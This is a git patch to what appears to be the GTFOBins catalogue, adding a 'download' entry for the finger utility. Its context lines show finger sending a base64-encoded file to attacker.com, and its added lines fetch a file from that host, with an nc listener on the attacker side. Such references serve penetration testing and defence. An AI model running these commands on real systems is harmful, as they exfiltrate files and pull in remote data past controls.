From b10791a8402dd1bd20cf122f02bb6ef32ec2a742 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 13 Sep 2018 15:42:45 +0200 Subject: [PATCH] Add download to finger --- _gtfobins/finger.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/_gtfobins/finger.md b/_gtfobins/finger.md index 785e104..10079df 100644 --- a/_gtfobins/finger.md +++ b/_gtfobins/finger.md @@ -8,4 +8,10 @@ functions: RHOST=attacker.com LFILE=file_to_send finger "$(base64 $LFILE)@$RHOST" + download: + - description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | sudo nc -l -p 79` on the attacker box to send the file. + code: | + RHOST=attacker.com + LFILE=file_to_save + finger x@$RHOST | base64 -d > "$LFILE" ---